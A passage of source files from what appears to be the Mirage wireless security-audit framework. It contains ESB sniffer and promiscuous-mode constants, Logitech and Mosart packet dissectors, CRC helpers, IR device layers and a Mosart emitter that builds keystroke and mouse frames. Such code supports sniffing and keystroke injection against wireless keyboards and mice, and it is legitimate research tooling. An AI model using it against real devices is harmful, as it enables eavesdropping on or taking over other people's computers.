| NRF24_RESPONSE_ENDPOINT = 0x81 15 | 16 | # USB Commands 17 | NRF24_TRANSMIT_PAYLOAD = 0x04 18 | NRF24_ENTER_SNIFFER_MODE = 0x05 19 | NRF24_ENTER_PROMISCUOUS_MODE = 0x06 20 | NRF24_ENTER_TONE_TEST_MODE = 0x07 21 | NRF24_TRANSMIT_ACK_PAYLOAD = 0x08 22 | NRF24_SET_CHANNEL = 0x09 23 | NRF24_GET_CHANNEL = 0x0A 24 | NRF24_ENABLE_LNA_PA = 0x0B 25 | NRF24_TRANSMIT_PAYLOAD_GENERIC = 0x0C 26 | NRF24_ENTER_PROMISCUOUS_MODE_GENERIC = 0x0D 27 | NRF24_RECEIVE_PAYLOAD = 0x12 28 | 29 | # nRF24LU1+ registers 30 | NRF24_RF_CH = 0x05 31 | 32 | # RF data rates 33 | RF_RATE_250K = 0 34 | RF_RATE_1M = 1 35 | RF_RATE_2M = 2 36 | 37 | # Enumeration for operation mode 38 | class ESBOperationMode: 39 | PROMISCUOUS = 0x0 40 | SNIFFER = 0x1 41 | GENERIC_PROMISCUOUS = 0X2 42 | -------------------------------------------------------------------------------- /mirage/libs/esb_utils/dissectors.py: -------------------------------------------------------------------------------- 1 | from mirage.libs.wireless_utils.dissectors import Dissector 2 | from mirage.libs.common.hid import HIDMapping 3 | from mirage.libs.esb_utils.helpers import bytes2bits 4 | from struct import pack 5 | 6 | class LogitechMousePosition(Dissector): 7 | ''' 8 | This class is a dissector for the Logitech Unifying mouse position value. It inherits from ``Dissector``. 9 | 10 | The following fields are available in the data structure : 11 | * **x** : field indicating x position of the mouse 12 | * **y** : field indicating y position of the mouse 13 | 14 | 15 | :Example: 16 | 17 | >>> LogitechMousePosition(data=bytes.fromhex("feafff")) 18 | MousePosition(x=-2,y=-6) 19 | >>> LogitechMousePosition(data=bytes.fromhex("feafff")).x 20 | -2 21 | >>> LogitechMousePosition(data=bytes.fromhex("feafff")).y 22 | -6 23 | >>> LogitechMousePosition(x=-2,y=-6).data.hex() 24 | 'feafff' 25 | ''' 26 | def dissect(self): 27 | bits = bytes2bits(self.data) 28 | xb = bits[12:16] + bits[0:8] 29 | yb = bits[16:] + bits[8:12] 30 | if xb[0] == "0": 31 | x = sum([(2**(11-i))*int(xb[i]) for i in range(0,12)]) 32 | else: 33 | x = -1*(1+sum([(2**(11-i))*(1 - int(xb[i])) for i in range(0,12)])) 34 | if yb[0] == "0": 35 | y = sum([(2**(11-i))*int(yb[i]) for i in range(0,12)]) 36 | else: 37 | y = -1*(1+sum([(2**(11-i))*(1 - int(yb[i])) for i in range(0,12)])) 38 | 39 | self.content = {"x":x,"y":y} 40 | 41 | def build(self): 42 | x = self.content["x"] 43 | y = self.content["y"] 44 | if (y < 0): 45 | y += 4096 46 | if (x < 0): 47 | x += 4096 48 | a,b,c = 0,0,0 49 | a = x & 0xFF 50 | b |= (x >> 8) & 0x0F 51 | c = (y >> 4) & 0xFF 52 | b |= (y << 4) & 0xF0 53 | 54 | ab = pack('B',a) 55 | bb = pack('B',b) 56 | cb = pack('B',c) 57 | 58 | self.data = b"".join([ab,bb,cb]) 59 | self.length = len(self.data) 60 | 61 | 62 | def __str__(self): 63 | sortie = "x="+str(self.content["x"])+",y="+str(self.content["y"]) 64 | return "MousePosition("+sortie+")" 65 | 66 | 67 | 68 | class LogitechKeystroke(Dissector): 69 | ''' 70 | This class is a dissector for the Logitech Unifying unencrypted keystroke payload. It inherits from ``Dissector``. 71 | 72 | The following fields are available in the data structure : 73 | * **locale** : string indicating the locale (language layout) 74 | * **key** : string indicating the key 75 | * **ctrl** : boolean indicating if the Ctrl key is pressed 76 | * **alt** : boolean indicating if the Alt key is pressed 77 | * **super** : boolean indicating if the Super key is pressed 78 | * **shift** : boolean indicating if the Shift key is pressed 79 | 80 | 81 | :Example: 82 | 83 | >>> LogitechKeystroke(locale="fr",key="a",ctrl=False,gui=False,alt=False,shift=False) 84 | Keystroke(key=a,ctrl=no,alt=no,shift=no,gui=no) 85 | >>> LogitechKeystroke(locale="fr",key="a",ctrl=False,gui=False,alt=False,shift=False).data.hex() 86 | '00140000000000' 87 | 88 | ''' 89 | def dissect(self): 90 | # TODO 91 | pass 92 | 93 | def build(self): 94 | locale = self.content["locale"] 95 | key = self.content["key"] 96 | ctrl = self.content["ctrl"] 97 | alt = self.content["alt"] 98 | gui = self.content["gui"] 99 | shift = self.content["shift"] 100 | (hidCode,modifiers) = HIDMapping(locale=locale).getHIDCodeFromKey(key=key,alt=alt,ctrl=ctrl,shift=shift,gui=gui) 101 | self.data = pack('B',modifiers)+pack('B',hidCode)+(b'\x00'*5) 102 | 103 | def __str__(self): 104 | sortie = "key="+str(self.content["key"])+",ctrl="+("yes" if self.content["ctrl"] else "no")+",alt="+("yes" if self.content["alt"] else "no")+",shift="+("yes" if self.content["shift"] else "no")+",gui="+("yes" if self.content["gui"] else "no") 105 | return "Keystroke("+sortie+")" 106 | -------------------------------------------------------------------------------- /mirage/libs/esb_utils/helpers.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module provides some helpers in order to manipulate Enhanced ShockBurst packets. 3 | ''' 4 | def frequencyToChannel(frequency): 5 | ''' 6 | This function converts a frequency to the corresponding Enhanced ShockBurst channel. 7 | 8 | :param frequency: frequency to convert (MHz) 9 | :type frequency: int 10 | :return: channel associated to the provided frequency 11 | :rtype: int 12 | 13 | :Example: 14 | 15 | >>> frequencyToChannel(2420) 16 | 20 17 | >>> frequencyToChannel(2402) 18 | 02 19 | 20 | ''' 21 | channel = int(frequency) - 2400 22 | return channel 23 | 24 | def channelToFrequency(channel): 25 | ''' 26 | This function converts an Enhanced ShockBurst channel to the corresponding frequency. 27 | 28 | :param channel: ESB channel to convert 29 | :type channel: int 30 | :return: corresponding frequency (MHz) 31 | :rtype: int 32 | 33 | :Example: 34 | 35 | >>> channelToFrequency(37) 36 | 2437 37 | >>> channelToFrequency(8) 38 | 2408 39 | 40 | ''' 41 | freqOffset = channel 42 | return 2400 + freqOffset 43 | 44 | def bytes2bits(data): 45 | ''' 46 | This function converts bytes to the corresponding bits sequence (as string). 47 | 48 | :param data: bytes to convert 49 | :type data: bytes 50 | :return: corresponding bits sequence 51 | :rtype: str 52 | 53 | :Example: 54 | 55 | >>> bytes2bits(b"\x01\x02\x03\xFF") 56 | '00000001000000100000001111111111' 57 | >>> bytes2bits(b"ABC") 58 | '010000010100001001000011' 59 | 60 | ''' 61 | return "".join(["{:08b}".format(i) for i in bytes(data)]) 62 | 63 | def bits2bytes(bits): 64 | ''' 65 | This function converts a sequence of bits (as string) to the corresponding bytes. 66 | 67 | :param bits: string indicating a sequence of bits (e.g. "10110011") 68 | :type bits: str 69 | :return: corresponding bytes 70 | :rtype: bytes 71 | 72 | :Example: 73 | 74 | >>> bits2bytes('00000001000000100000001111111111') 75 | b'\x01\x02\x03\xff' 76 | >>> bits2bytes('010000010100001001000011') 77 | b'ABC' 78 | 79 | ''' 80 | return bytes([int(j+((8-len(j))*"0"),2) for j in [bits[i:i + 8] for i in range(0, len(bits), 8)]]) 81 | 82 | def bitwiseXor(a,b): 83 | ''' 84 | This function returns the result of a bitwise XOR operation applied to two sequences of bits (a and b); 85 | 86 | :param a: string indicating a sequence of bits (e.g. "10101010") 87 | :type a: str 88 | :param b: string indicating a sequence of bits (e.g. "10101010") 89 | :type b: str 90 | :return: result of the XOR operation 91 | :rtype: str 92 | 93 | :Example: 94 | 95 | >>> bitwiseXor('11001111','10101010') 96 | '01100101' 97 | >>> bitwiseXor('11111111','00101010') 98 | '11010101' 99 | >>> bitwiseXor('11111111','11001100') 100 | '00110011' 101 | 102 | ''' 103 | if len(a) != len(b): 104 | return None 105 | result = "" 106 | for i in range(len(a)): 107 | valA = a[i] == "1" 108 | valB = b[i] == "1" 109 | result += "1" if valA ^ valB else "0" 110 | return result 111 | 112 | 113 | def calcCrcByte(crc,byte,bits): 114 | ''' 115 | This function calculates the temporary value generated by an iteration of CRC calculation. 116 | 117 | :param crc: previous temporary value of CRC 118 | :type crc: bytes 119 | :param byte: byte to use in the current iteration 120 | :type byte: bytes 121 | :param bits: number of bits of the byte to take into account in the calculation 122 | :type bits: int 123 | 124 | ''' 125 | polynome = bytes2bits(b'\x10\x21') 126 | crc_ba = bytes2bits(crc) 127 | byte_ba = bytes2bits(bytes([byte])) 128 | crc_ba = bitwiseXor(crc_ba,byte_ba + "00000000") 129 | while bits>0: 130 | bits-=1 131 | if crc_ba[0:1] == '1': 132 | crc_ba = crc_ba[1:]+'0' 133 | crc_ba = bitwiseXor(crc_ba,polynome) 134 | else: 135 | crc_ba = crc_ba[1:]+'0' 136 | return bits2bytes(crc_ba) 137 | 138 | def calcCrc(packet): 139 | ''' 140 | This function calculates the CRC of an Enhanced Shockburst packet. 141 | 142 | :param packet: raw bytes of packet (without CRC and preamble) 143 | :type packet: bytes 144 | :return: calculated CRC 145 | :rtype: bytes 146 | 147 | :Example: 148 | 149 | >>> calcCrc(bytes.fromhex('e846f92fa429006100007f57ff80004900')).hex() 150 | '9ed4' 151 | 152 | ''' 153 | crc = b"\xFF\xFF" 154 | for x in packet[:-1]: 155 | crc = calcCrcByte(crc,x,8) 156 | crc = calcCrcByte(crc, packet[-1],1) 157 | return crc 158 | -------------------------------------------------------------------------------- /mirage/libs/ir_utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCayre/mirage/b6cd39eb779a94a11ebf9f7cba4e77435d885434/mirage/libs/ir_utils/__init__.py -------------------------------------------------------------------------------- /mirage/libs/ir_utils/scapy_irma_layers.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | ''' 4 | This module contains some scapy definitions for interacting with an IRMA device. 5 | ''' 6 | 7 | #define PROTO_RAW 0x0 8 | #define PROTO_NEC 0x1 9 | #define PROTO_SONY 0x2 10 | #define PROTO_RC5 0x3 11 | #define PROTO_RC6 0x4 12 | #define PROTO_DISH 0x5 13 | #define PROTO_SHARP 0x6 14 | #define PROTO_JVC 0x7 15 | #define PROTO_SANYO 0x8 16 | #define PROTO_MITSUBISHI 0x9 17 | #define PROTO_SAMSUNG 0xa 18 | #define PROTO_LG 0xb 19 | #define PROTO_WHYNTER 0xc 20 | #define PROTO_AIWA_RC_T501 0xd 21 | #define PROTO_PANASONIC 0xe 22 | #define PROTO_DENON 0xf 23 | 24 | proto_list = { 25 | 0x00 : "raw", 26 | 0x01 : "NEC", 27 | 0x02 : "SONY", 28 | 0x03 : "RC5", 29 | 0x04 : "RC6", 30 | 0x05 : "DISH", 31 | 0x06 : "SHARP", 32 | 0x07 : "JVC", 33 | 0x08 : "SANYO", 34 | 0x09 : "MITSUBISHI", 35 | 0x0a : "SAMSUNG", 36 | 0x0b : "LG", 37 | 0x0c : "WHYNTER", 38 | 0x0d : "AIWA_RC_T501", 39 | 0x0e : "PANASONIC", 40 | 0x0f : "DENON" 41 | } 42 | 43 | class IRma_Hdr(Packet): 44 | name = "IRma Packet Header" 45 | fields_desc = [ByteEnumField("type", None, {0x00 : "request",0x01 : "response"})] 46 | 47 | class IRma_Header_Common(Packet): 48 | fields_desc = [ByteEnumField("opcode", None, {0x00 : "reset", 49 | 0x01 : "freq", 50 | 0x02 : "send", 51 | 0x03 : "recv"}), 52 | ShortField("param_size", None)] 53 | 54 | def post_build(self, p, pay): 55 | if self.param_size is None: 56 | self.param_size = len(pay) 57 | p = p[:1] + struct.pack('>h',self.param_size) 58 | return p+pay 59 | 60 | class IRma_Request(IRma_Header_Common): 61 | name = "IRma Request Header" 62 | 63 | class IRma_Response(IRma_Header_Common): 64 | name = "IRma Response Header" 65 | 66 | class Req_IRma_Reset(Packet): 67 | name = "Request IRma Reset Packet" 68 | 69 | class Resp_IRma_Reset(Packet): 70 | name = "Response IRma Reset Packet" 71 | 72 | class Req_IRma_GetFreq(Packet): 73 | name = "Request IRma Get Frequency Packet" 74 | 75 | class Req_IRma_SetFreq(Packet): 76 | name = "Request IRma Set Frequency Packet" 77 | fields_desc = [ ShortField("freq", None) ] 78 | 79 | 80 | class Resp_IRma_Freq(Packet): 81 | name = "Response IRma Frequency Packet" 82 | fields_desc = [ ShortField("freq", None) ] 83 | 84 | class Req_IRma_Send(Packet): 85 | name = "Request IRma Send Packet" 86 | fields_desc = [ ByteEnumField("proto", None, proto_list), 87 | FieldLenField("data_size", None, length_of = "data"), 88 | StrLenField("data", None,length_from = lambda pkt:pkt.data_size) 89 | ] 90 | 91 | class Resp_IRma_Send(Packet): 92 | name = "Response IRma Send Packet" 93 | fields_desc = [ByteEnumField("success",None,{0x00:"success",0x01:"error"})] 94 | 95 | class Req_IRma_Recv(Packet): 96 | name = "Request IRma Receive Packet" 97 | 98 | class Resp_IRma_Recv(Packet): 99 | name = "Response IRma Receive Packet" 100 | fields_desc = [ FieldLenField("raw_size",None,length_of = "raw"), 101 | FieldListField("raw", [],ShortField("value",None), length_from = lambda pkt:pkt.raw_size), 102 | ByteEnumField("proto", None, proto_list), 103 | ShortField("code_size",32), 104 | StrField("code", b"")] 105 | 106 | class Resp_IRma_Ready(Packet): 107 | name = "Start Packet (Device Ready)" 108 | fields_desc = [] 109 | 110 | bind_layers(IRma_Hdr,IRma_Request,type=0x00) 111 | bind_layers(IRma_Hdr,IRma_Response,type=0x01) 112 | 113 | bind_layers(IRma_Request,Req_IRma_Reset,opcode=0x00) 114 | bind_layers(IRma_Response,Req_IRma_Reset,opcode=0x00) 115 | 116 | bind_layers(IRma_Request,Req_IRma_GetFreq,opcode=0x01) 117 | bind_layers(IRma_Request,Req_IRma_SetFreq,opcode=0x01) 118 | bind_layers(IRma_Response,Resp_IRma_Freq,opcode=0x01) 119 | 120 | bind_layers(IRma_Request,Req_IRma_Send,opcode=0x02) 121 | bind_layers(IRma_Response,Resp_IRma_Send,opcode=0x02) 122 | 123 | bind_layers(IRma_Request,Req_IRma_Recv,opcode=0x03) 124 | bind_layers(IRma_Response,Resp_IRma_Recv,opcode=0x03) 125 | 126 | bind_layers(IRma_Response,Resp_IRma_Ready,opcode=0x04) 127 | -------------------------------------------------------------------------------- /mirage/libs/mosart.py: -------------------------------------------------------------------------------- 1 | from mirage.libs.mosart_utils.rfstorm import * 2 | from mirage.libs.mosart_utils.scapy_mosart_layers import * 3 | from mirage.libs.mosart_utils.packets import * 4 | from mirage.libs.mosart_utils.pcap import * 5 | from mirage.libs.mosart_utils.helpers import * 6 | from mirage.libs import wireless,io,utils 7 | from mirage.core.module import WirelessModule 8 | 9 | class MosartEmitter(wireless.Emitter): 10 | def __init__(self,interface="rfstorm0"): 11 | if "rfstorm" in interface: 12 | deviceClass = MosartRFStormDevice 13 | elif interface[-5:] == ".pcap": 14 | deviceClass = MosartPCAPDevice 15 | super().__init__(interface=interface,packetType=MosartPacket,deviceType=deviceClass) 16 | 17 | def convert(self,packet): 18 | if isinstance(packet,MosartPacket): 19 | new = Mosart_Hdr(address=addressToInteger(packet.address),seq_num=packet.sequenceNumber) 20 | 21 | if packet.deviceType == "mouse": 22 | if isinstance(packet,MosartMouseMovementPacket): 23 | new /= Mosart_Mouse_Movement_Packet(X1=packet.x1, X2=packet.x2,Y1=packet.y1, Y2=packet.y2) 24 | elif isinstance(packet,MosartMouseClickPacket): 25 | new /= Mosart_Action_Packet(action_state=packet.stateCode,action_code=packet.code) 26 | 27 | elif packet.deviceType == "keyboard" and isinstance(packet,MosartKeyboardKeystrokePacket): 28 | new /= Mosart_Action_Packet(action_state=packet.stateCode,action_code=packet.code) 29 | 30 | elif packet.deviceType == "dongle": 31 | new /= Mosart_Dongle_Sync_Packet(sync=0x22) 32 | 33 | elif isinstance(packet,MosartPacket) and packet.payload is not None: 34 | return Mosart_Hdr(packet.payload) 35 | return new 36 | 37 | else: 38 | return None 39 | 40 | 41 | 42 | class MosartReceiver(wireless.Receiver): 43 | def __init__(self,interface="rfstorm0"): 44 | if "rfstorm" in interface: 45 | deviceClass = MosartRFStormDevice 46 | elif interface[-5:] == ".pcap": 47 | deviceClass = MosartPCAPDevice 48 | super().__init__(interface=interface,packetType=MosartPacket,deviceType=deviceClass) 49 | 50 | 51 | def convert(self, packet): 52 | channel = self.getChannel() 53 | address = integerToAddress(packet.address) 54 | new = MosartPacket(address=address, payload = bytes(packet),sequenceNumber = packet.seq_num) 55 | if Mosart_Dongle_Sync_Packet in packet: 56 | new = MosartDonglePacket(address=address, payload = bytes(packet)) 57 | if Mosart_Mouse_Movement_Packet in packet: 58 | new = MosartMouseMovementPacket( 59 | address=address, 60 | payload = bytes(packet), 61 | sequenceNumber = packet.seq_num, 62 | x1 = packet.X1, 63 | y1 = packet.Y1, 64 | x2 = packet.X2, 65 | y2 = packet.Y2 66 | ) 67 | elif Mosart_Action_Packet in packet and packet.action_code in [ 0xa0,0xa1,0xa2 ]: 68 | new = MosartMouseClickPacket(address=address,payload=bytes(packet), sequenceNumber = packet.seq_num, code=packet.action_code, stateCode=packet.action_state) 69 | elif Mosart_Action_Packet in packet and packet.action_code not in [ 0xa0,0xa1,0xa2 ]: 70 | new = MosartKeyboardKeystrokePacket(address=address, payload=bytes(packet), sequenceNumber = packet.seq_num, code=packet.action_code, stateCode=packet.action_state) 71 | new.additionalInformations = MosartSniffingParameters(channel=channel) 72 | return new 73 | 74 | WirelessModule.registerEmitter("mosart",MosartEmitter) 75 | WirelessModule.registerReceiver("mosart",MosartReceiver) 76 | -------------------------------------------------------------------------------- /mirage/libs/mosart_utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCayre/mirage/b6cd39eb779a94a11ebf9f7cba4e77435d885434/mirage/libs/mosart_utils/__init__.py -------------------------------------------------------------------------------- /mirage/libs/mosart_utils/constants.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module contains some constants that are used by the Mosart stack. 3 | ''' 4 | 5 | # Enumeration for operation mode 6 | class MosartOperationMode: 7 | PROMISCUOUS = 0x0 8 | SNIFFER = 0x1 9 | -------------------------------------------------------------------------------- /mirage/libs/mosart_utils/dissectors.py: -------------------------------------------------------------------------------- 1 | from mirage.libs.wireless_utils.dissectors import Dissector 2 | from mirage.libs.mosart_utils.keyboard_codes import * 3 | 4 | class MosartKeystroke(Dissector): 5 | ''' 6 | This class is a dissector for the Mosart keystroke payload. It inherits from ``Dissector``. 7 | 8 | The following fields are available in the data structure : 9 | * **hidCode** : integer indicating the hid code of the key 10 | * **modifiers** : integer indicating the modifiers code of the key 11 | 12 | :Example: 13 | 14 | >>> MosartKeystroke(hidCode=5,modifiers=0).data.hex() 15 | '812d' 16 | >>> MosartKeystroke(data=bytes.fromhex("812d")).hidCode 17 | 5 18 | >>> MosartKeystroke(data=bytes.fromhex("812d")).modifiers 19 | 0 20 | 21 | 22 | ''' 23 | def dissect(self): 24 | state = self.data[0] 25 | code = self.data[1] 26 | if state == 0x01: 27 | hidCode,modifiers = [0,0] 28 | else: 29 | [hidCode,modifiers] = MosartKeyboardCodes.getHIDCodeFromMosartKeyboardCode(code) 30 | 31 | self.content = {"code":code,"state":state,"hidCode":hidCode,"modifiers":modifiers} 32 | 33 | def build(self): 34 | hidCode = self.content["hidCode"] 35 | modifiers = self.content["modifiers"] 36 | if hidCode == 0 and modifiers == 0: 37 | state = 0x01 38 | else: 39 | state = 0x81 40 | code = MosartKeyboardCodes.getMosartKeyboardCodeFromHIDCode(hidCode,modifiers) 41 | if code is not None: 42 | self.data = bytes([state,code]) 43 | else: 44 | self.data = bytes([state,0]) # Maybe it should be necessary to re-use the value from the previous frame (in "pressed" state) 45 | 46 | 47 | -------------------------------------------------------------------------------- /mirage/libs/mosart_utils/helpers.py: -------------------------------------------------------------------------------- 1 | import struct 2 | ''' 3 | This module provides some helpers in order to manipulate Mosart packets. 4 | ''' 5 | 6 | def _initial(c): 7 | crc = 0 8 | c = c << 8 9 | for j in range(8): 10 | if (crc ^ c) & 0x8000: 11 | crc = (crc << 1) ^ 0x1021 12 | else: 13 | crc = crc << 1 14 | c = c << 1 15 | return crc 16 | 17 | 18 | _tab = [_initial(i) for i in range(256)] 19 | 20 | 21 | def _update_crc(crc, c): 22 | cc = 0xFF & c 23 | 24 | tmp = (crc >> 8) ^ cc 25 | crc = (crc << 8) ^ _tab[tmp & 0xFF] 26 | crc = crc & 0xFFFF 27 | 28 | return crc 29 | 30 | 31 | def crc(data): 32 | ''' 33 | This function returns the CRC of a Mosart payload. 34 | 35 | :param data: bytes of the payload 36 | :type data: bytes 37 | 38 | ''' 39 | crc = 0 40 | for c in data: 41 | crc = _update_crc(crc, c) 42 | return crc 43 | 44 | 45 | def addressToInteger(address): 46 | ''' 47 | This function converts a string indicating the address of a Mosart device to its raw value (as integer). 48 | 49 | :param address: string to convert (format: '11:22:33:44') 50 | :type address: str 51 | 52 | :Example: 53 | 54 | >>> hex(addressToInteger('11:22:33:44')) 55 | '0x11223344' 56 | 57 | 58 | ''' 59 | return struct.unpack('>I',bytes.fromhex(address.replace(":","")))[0] 60 | 61 | def integerToAddress(integer): 62 | ''' 63 | This function converts a Mosart address to a printable string. 64 | 65 | :param integer: address to convert 66 | :type address: int 67 | 68 | :Example: 69 | 70 | >>> integerToAddress(0x11223344) 71 | '11:22:33:44' 72 | 73 | ''' 74 | 75 | return ':'.join(['{:02x}'.format(i) for i in struct.pack('>I',integer)]).upper() 76 | -------------------------------------------------------------------------------- /mirage/libs/mosart_utils/keyboard_codes.py: -------------------------------------------------------------------------------- 1 | class MosartKeyboardCodes: 2 | ''' 3 | This class allows to convert the Mosart keyboard codes to the corresponding HID code and modifiers. 4 | 5 | .. warning:: 6 | 7 | These values have been collected empirically. 8 | As a result, the corresponding mapping may contains some mistakes or missing data. 9 | 10 | ''' 11 | @classmethod 12 | def getMosartKeyboardCodeFromHIDCode(cls,hidCode,modifiers): 13 | ''' 14 | This method returns the Mosart keybaord 15 | ''' 16 | value = [hidCode,modifiers] 17 | for k,v in MosartKeyboardCodes.mosartKeyboardCodes.items(): 18 | if v == value: 19 | return k 20 | return None 21 | 22 | @classmethod 23 | def getHIDCodeFromMosartKeyboardCode(cls,code): 24 | if code in MosartKeyboardCodes.mosartKeyboardCodes: 25 | return MosartKeyboardCodes.mosartKeyboardCodes[code] 26 | else: 27 | return [None,None] 28 | 29 | mosartKeyboardCodes = { 30 | 0x8 : [ 72,0], 31 | 0xc : [ 0,16], 32 | 0xe : [ 0,1], 33 | 0xf : [ 62,0], 34 | 0x10 : [ 20,0], 35 | 0x11 : [ 43,0], 36 | 0x12 : [ 4,0], 37 | 0x13 : [ 41,0], 38 | 0x14 : [ 29,0], 39 | 0x15 : [ 139,0], 40 | 0x16 : [ 53,0], 41 | 0x17 : [ 30,0], 42 | 0x18 : [ 26,0], 43 | 0x19 : [ 57,0], 44 | 0x1a : [ 22,0], 45 | 0x1b : [ 100,0], 46 | 0x1c : [ 27,0], 47 | 0x1d : [ 138,0], 48 | 0x1e : [ 58,0], 49 | 0x1f : [ 31,0], 50 | 0x20 : [ 8,0], 51 | 0x21 : [ 60,0], 52 | 0x22 : [ 7,0], 53 | 0x23 : [ 61,0], 54 | 0x24 : [ 6,0], 55 | 0x25 : [ 136,0], 56 | 0x26 : [ 59,0], 57 | 0x27 : [ 32,0], 58 | 0x28 : [ 21,0], 59 | 0x29 : [ 23,0], 60 | 0x2a : [ 9,0], 61 | 0x2b : [ 10,0], 62 | 0x2c : [ 25,0], 63 | 0x2d : [ 5,0], 64 | 0x2e : [ 34,0], 65 | 0x2f : [ 33,0], 66 | 0x30 : [ 24,0], 67 | 0x31 : [ 28,0], 68 | 0x32 : [ 13,0], 69 | 0x33 : [ 11,0], 70 | 0x34 : [ 16,0], 71 | 0x35 : [ 17,0], 72 | 0x36 : [ 35,0], 73 | 0x37 : [ 36,0], 74 | 0x38 : [ 12,0], 75 | 0x39 : [ 48,0], 76 | 0x3a : [ 14,0], 77 | 0x3b : [ 63,0], 78 | 0x3c : [ 54,0], 79 | 0x3d : [ 135,0], 80 | 0x3e : [ 46,0], 81 | 0x3f : [ 37,0], 82 | 0x40 : [ 18,0], 83 | 0x41 : [ 64,0], 84 | 0x42 : [ 15,0], 85 | 0x44 : [ 55,0], 86 | 0x45 : [ 101,0], 87 | 0x46 : [ 65,0], 88 | 0x47 : [ 38,0], 89 | 0x48 : [ 19,0], 90 | 0x49 : [ 47,0], 91 | 0x4a : [ 51,0], 92 | 0x4b : [ 52,0], 93 | 0x4c : [ 50,0], 94 | 0x4d : [ 56,0], 95 | 0x4e : [ 45,0], 96 | 0x4f : [ 39,0], 97 | 0x50 : [ 71,0], 98 | 0x53 : [ 0,4], 99 | 0x55 : [ 0,64], 100 | 0x57 : [ 70,0], 101 | 0x58 : [ 137,0], 102 | 0x59 : [ 42,0], 103 | 0x5a : [ 49,0], 104 | 0x5b : [ 68,0], 105 | 0x5c : [ 40,0], 106 | 0x5d : [ 69,0], 107 | 0x5e : [ 66,0], 108 | 0x5f : [ 67,0], 109 | 0x60 : [ 95,0], 110 | 0x61 : [ 92,0], 111 | 0x62 : [ 89,0], 112 | 0x63 : [ 44,0], 113 | 0x64 : [ 83,0], 114 | 0x65 : [ 81,0], 115 | 0x66 : [ 76,0], 116 | 0x68 : [ 96,0], 117 | 0x69 : [ 93,0], 118 | 0x6a : [ 90,0], 119 | 0x6b : [ 98,0], 120 | 0x6c : [ 84,0], 121 | 0x6d : [ 79,0], 122 | 0x6e : [ 73,0], 123 | 0x70 : [ 97,0], 124 | 0x71 : [ 94,0], 125 | 0x72 : [ 91,0], 126 | 0x73 : [ 99,0], 127 | 0x74 : [ 85,0], 128 | 0x75 : [ 86,0], 129 | 0x76 : [ 75,0], 130 | 0x77 : [ 78,0], 131 | 0x78 : [ 87,0], 132 | 0x79 : [ 133,0], 133 | 0x7a : [ 88,0], 134 | 0x7b : [ 82,0], 135 | 0x7d : [ 80,0], 136 | 0x7e : [ 74,0], 137 | 0x7f : [ 77,0], 138 | 0x81 : [ 0,2], 139 | 0x82 : [ 0,32], 140 | 0x89 : [ 0,8], 141 | 0x90 : [ 145,0], 142 | 0x92 : [ 0,128], 143 | 0x97 : [ 144,0], 144 | 0x98 : [ 98,0], 145 | 0x99 : [ 98,0], 146 | 0x9a : [ 0,9], 147 | 0x9b : [ 0,8], 148 | 0x9c : [ 0,9], 149 | 0x9d : [ 0,8], 150 | 0x9e : [ 0,4] 151 | } 152 | 153 | -------------------------------------------------------------------------------- /mirage/libs/mosart_utils/scapy_mosart_layers.py: -------------------------------------------------------------------------------- 1 | from scapy.all import Packet, bind_layers 2 | from scapy.fields import * 3 | ''' 4 | This module contains some scapy definitions for Mosart protocol. 5 | ''' 6 | 7 | 8 | class Mosart_Hdr(Packet): 9 | name = "Mosart Packet" 10 | fields_desc = [ 11 | XShortField("preamble", 0xF0F0), 12 | XIntField("address", None), 13 | BitField("frame_type", None, 4), 14 | BitField("seq_num", None, 4), 15 | ] 16 | 17 | 18 | class Mosart_Dongle_Sync_Packet(Packet): 19 | name = "Mosart Dongle Sync Packet" 20 | fields_desc = [XByteField("sync", None)] 21 | 22 | 23 | class Mosart_Mouse_Movement_Packet(Packet): 24 | name = "Mosart Movement Packet" 25 | fields_desc = [ 26 | # Mousejack whitepaper is wrong on this frame : (X1Y1 / X2Y2) and not (X1X2 / Y1Y2) 27 | SignedByteField("X1", None), 28 | SignedByteField("Y1", None), 29 | SignedByteField("X2", None), 30 | SignedByteField("Y2", None), 31 | ] 32 | 33 | 34 | class Mosart_Action_Packet(Packet): 35 | name = "Mosart Action Packet" 36 | fields_desc = [ 37 | ByteEnumField("action_state", None, {0x81: "pressed", 0x01: "released"}), 38 | XByteField("action_code", None), 39 | ] 40 | 41 | 42 | bind_layers(Mosart_Hdr, Mosart_Dongle_Sync_Packet, frame_type=0x1) 43 | bind_layers(Mosart_Hdr, Mosart_Mouse_Movement_Packet, frame_type=0x4) 44 | bind_layers(Mosart_Hdr, Mosart_Action_Packet, frame_type=0x7) 45 | -------------------------------------------------------------------------------- /mirage/libs/wifi_utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCayre/mirage/b6cd39eb779a94a11ebf9f7cba4e77435d885434/mirage/libs/wifi_utils/__init__.py -------------------------------------------------------------------------------- /mirage/libs/wifi_utils/constants.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module contains some constants that are used by the WiFi stack. 3 | ''' 4 | 5 | # Wifi modes 6 | WIFI_MODES = [ 'Auto', 7 | 'Ad-Hoc', 8 | 'Managed', 9 | 'Master', 10 | 'Repeat', 11 | 'Second', 12 | 'Monitor', 13 | 'Unknown/bug'] 14 | 15 | 16 | # Wifi mode constants 17 | SIOCGIWMODE = 0x8B07 # get mode 18 | SIOCSIWMODE = 0x8B06 # set mode 19 | 20 | # Wifi frequency constants 21 | SIOCGIWFREQ = 0x8B05 # get frequency 22 | SIOCSIWFREQ = 0x8B04 # set frequency 23 | 24 | IWFREQAUTO = 0x00 # Frequency mode: auto 25 | IWFREQFIXED = 0x01 # Frequency mode: fixed 26 | 27 | # Wifi flags constants 28 | SIOCGIFFLAGS = 0x8913 # Get flags 29 | SIOCSIFFLAGS = 0x8914 # Set flags 30 | 31 | # Wifi interface constants 32 | IFUP = 0x1 # interface: up 33 | IFNAMESIZE = 16 # interface name size 34 | -------------------------------------------------------------------------------- /mirage/libs/wireless_utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCayre/mirage/b6cd39eb779a94a11ebf9f7cba4e77435d885434/mirage/libs/wireless_utils/__init__.py -------------------------------------------------------------------------------- /mirage/libs/wireless_utils/butterfly.py: -------------------------------------------------------------------------------- 1 | from mirage.libs.wireless_utils.scapy_butterfly_layers import * 2 | from mirage.libs import io,utils,wireless 3 | from threading import Lock 4 | from queue import 